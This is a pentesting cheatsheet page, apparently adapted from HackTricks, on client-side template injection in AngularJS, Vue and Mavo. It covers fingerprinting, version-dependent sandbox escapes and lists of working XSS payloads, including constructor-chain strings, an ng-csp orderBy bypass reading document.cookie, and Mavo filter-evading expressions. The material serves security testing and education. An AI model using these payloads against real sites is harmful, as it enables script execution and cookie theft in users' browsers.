daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

client-side-template-injection-csti.md (10103B)


      1 ---
      2 title: "Client Side Template Injection (CSTI)"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/client-side-template-injection-csti.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/client-side-template-injection-csti.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Client Side Template Injection (CSTI)
     14 
     15 ## Summary
     16 
     17 It is like a [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) but in the **client**. The **SSTI** can allow you to **execute code** on the remote server, the **CSTI** could allow you to **execute arbitrary JavaScript** code in the victim's browser.
     18 
     19 **Testing** for this vulnerability is very **similar** as in the case of **SSTI**, the interpreter expects **a template** and will execute it. For example, with a payload like `{{ 7-7 }}`, if the app is **vulnerable** you will see a `0`, and if not, you will see the original: `{{ 7-7 }}`
     20 
     21 Not every HTML injection into a frontend framework is automatically exploitable as CSTI. The important question is whether the framework will **compile/evaluate attacker-controlled template syntax** or whether you only reached a plain HTML sink. In practice, first confirm the framework, then confirm the **exact sink**.
     22 
     23 ## Discovery / Fingerprinting
     24 
     25 Before trying framework-specific payloads, confirm that your reflection lands inside a part of the DOM that is actually processed by the framework:
     26 
     27 - **AngularJS**: look for `ng-app`, `ng-controller`, `ng-bind`, `ng-bind-html`, or a global `window.angular`
     28 - **Vue**: look for `v-` directives, Vue-controlled DOM roots, or Vue globals/devtools markers
     29 - **Alpine.js**: look for `x-data`, `x-html`, `x-on`, etc. Even if the target is not directly exploitable via `{{...}}`, these markers tell you that client-side expression evaluation exists nearby
     30 
     31 Quick workflow:
     32 
     33 1. Confirm reflection with a unique marker
     34 2. Probe with a simple expression such as `{{7*7}}`
     35 3. If the expression is evaluated, switch to framework-specific RCE/XSS payloads
     36 4. If `{{...}}` is not evaluated, look for **directive/event sinks** (`ng-focus`, `v-html`, inline bindings, alternate delimiters, or dynamic template compilation)
     37 
     38 OWASP's current WSTG recommends identifying the framework first and then checking whether your reflection is re-parsed as a template rather than only inserted as inert text/HTML.<sup>[[1]](#references)</sup>
     39 
     40 ## AngularJS
     41 
     42 AngularJS is a widely-used JavaScript framework that interacts with HTML through attributes known as directives, a notable one being **`ng-app`**. This directive allows AngularJS to process the HTML content, enabling the execution of JavaScript expressions inside double curly braces.
     43 
     44 In scenarios where user input is dynamically inserted into the HTML body tagged with `ng-app`, it's possible to execute arbitrary JavaScript code. This can be achieved by leveraging the syntax of AngularJS within the input. Below are examples demonstrating how JavaScript code can be executed:
     45 
     46 ```javascript
     47 {{$on.constructor('alert(1)')()}}
     48 {{constructor.constructor('alert(1)')()}}
     49 <input ng-focus=$event.view.alert('XSS')>
     50 
     51 <!-- Google Research - AngularJS -->
     52 <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
     53 ```
     54 
     55 You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) and in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
     56 
     57 > [!CAUTION]
     58 > [**Angular 1.6 removed the sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so from this version a payload like `{{constructor.constructor('alert(1)')()}}` or `<input ng-focus=$event.view.alert('XSS')>` should work.
     59 
     60 ### Version-aware exploitation
     61 
     62 - **AngularJS < 1.6**: exploitation often requires a **sandbox escape**. Simple arithmetic probes such as `{{1+1}}` still help to confirm CSTI, but code-exec payloads are usually more version-specific.
     63 - **AngularJS >= 1.6**: the expression sandbox was removed, so direct `constructor.constructor(...)` style payloads become far more reliable when the reflection is compiled as an Angular expression.
     64 - **`ng-csp` / CSP mode**: AngularJS still exposes useful event objects and filters. PortSwigger's CSTI labs and research show that `orderBy` plus an event path can still turn a constrained expression into code execution:
     65 
     66 ```html
     67 <input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
     68 ```
     69 
     70 If the application reflects your input into an **existing AngularJS directive** instead of plain HTML text, prioritize directive-based payloads such as `ng-focus`, `ng-click`, and filter abuse over raw mustache payloads.
     71 
     72 ## VueJS
     73 
     74 You can find a **vulnerable Vue** implementation in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
     75 Working payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
     76 
     77 And the **source code** of the vulnerable example here: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
     78 
     79 ```html
     80 <!-- Google Research - Vue.js-->
     81 "><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
     82 ```
     83 
     84 A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)<sup>[[2]](#references)</sup>
     85 
     86 In modern Vue targets, distinguish between these two cases:
     87 
     88 - **Attacker-controlled template compilation**: the application uses a build that includes the **template compiler** and feeds user-controlled strings into Vue templates
     89 - **Dangerous HTML / gadget sinks**: the reflection lands in places such as `v-html`, dynamic bindings, or other gadgets that eventually reach JavaScript execution
     90 
     91 This distinction matters because the common **runtime-only** Vue builds do **not** compile arbitrary template strings on the client. A plain reflection into inert HTML is not enough by itself.
     92 
     93 ### **V3**
     94 
     95 ```text
     96 {{_openBlock.constructor('alert(1)')()}}
     97 ```
     98 
     99 Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)<sup>[[2]](#references)</sup>
    100 
    101 ### **V2**
    102 
    103 ```text
    104 {{constructor.constructor('alert(1)')()}}
    105 ```
    106 
    107 Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
    108 
    109 Other useful Vue 3 gadget variants from PortSwigger research:
    110 
    111 ```javascript
    112 {{_createBlock.constructor('alert(1)')()}}
    113 {{_toDisplayString.constructor('alert(1)')()}}
    114 {{_createVNode.constructor('alert(1)')()}}
    115 {{_Vue.h.constructor`alert(1)`()}}
    116 ```
    117 
    118 The exact helper name exposed in the rendered template can vary depending on the Vue version / build output, so once you confirm Vue 3 CSTI, enumerate nearby helpers instead of assuming `_openBlock` is always present.<sup>[[2]](#references)</sup>
    119 
    120 **Check more VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
    121 
    122 ## Mavo
    123 
    124 Payload:
    125 
    126 ```text
    127 [7*7]
    128 [(1,alert)(1)]
    129 <div mv-expressions="{{ }}">{{top.alert(1)}}</div>
    130 [self.alert(1)]
    131 javascript:alert(1)%252f%252f..%252fcss-images
    132 [Omglol mod 1 mod self.alert (1) andlol]
    133 [''=''or self.alert(lol)]
    134 <a data-mv-if='1 or self.alert(1)'>test</a>
    135 <div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
    136 <a href=[javascript&':alert(1)']>test</a>
    137 [self.alert(1)mod1]
    138 ```
    139 
    140 **More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)<sup>[[3]](#references)</sup>
    141 
    142 Mavo is still worth testing when you see `mv-` / `data-mv-` attributes because its expression parser allows **non-JavaScript syntax** that can bypass filters looking only for classic JS tokens. This is useful when `alert(1)`-style probes are filtered but Mavo expressions are still parsed.<sup>[[3]](#references)</sup>
    143 
    144 ## Tooling
    145 
    146 If the target uses AngularJS heavily, [**ACSTIS / angularjs-csti-scanner**](https://github.com/tijme/angularjs-csti-scanner) can help with **crawling**, **version-aware payload selection**, and optional **payload verification** to reduce false positives.
    147 
    148 For manual testing, Burp's current Web Security Academy CSTI labs and XSS cheat sheet remain useful to quickly pivot from a basic `{{1+1}}` confirmation to framework-specific payloads.
    149 
    150 ## **Brute-Force Detection List**
    151 
    152 
    153 [Ssti.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt)
    154 
    155 
    156 ## References
    157 
    158 - [1] [OWASP WSTG - Testing for Client-side Template Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/15-Testing_for_Client-Side_Template_Injection)
    159 - [2] [PortSwigger Research - Evading defences using VueJS script gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
    160 - [3] [PortSwigger Research - Abusing JavaScript frameworks to bypass XSS mitigations](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
    161 - [4] [AngularJS 1.6 expression sandbox removal](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html)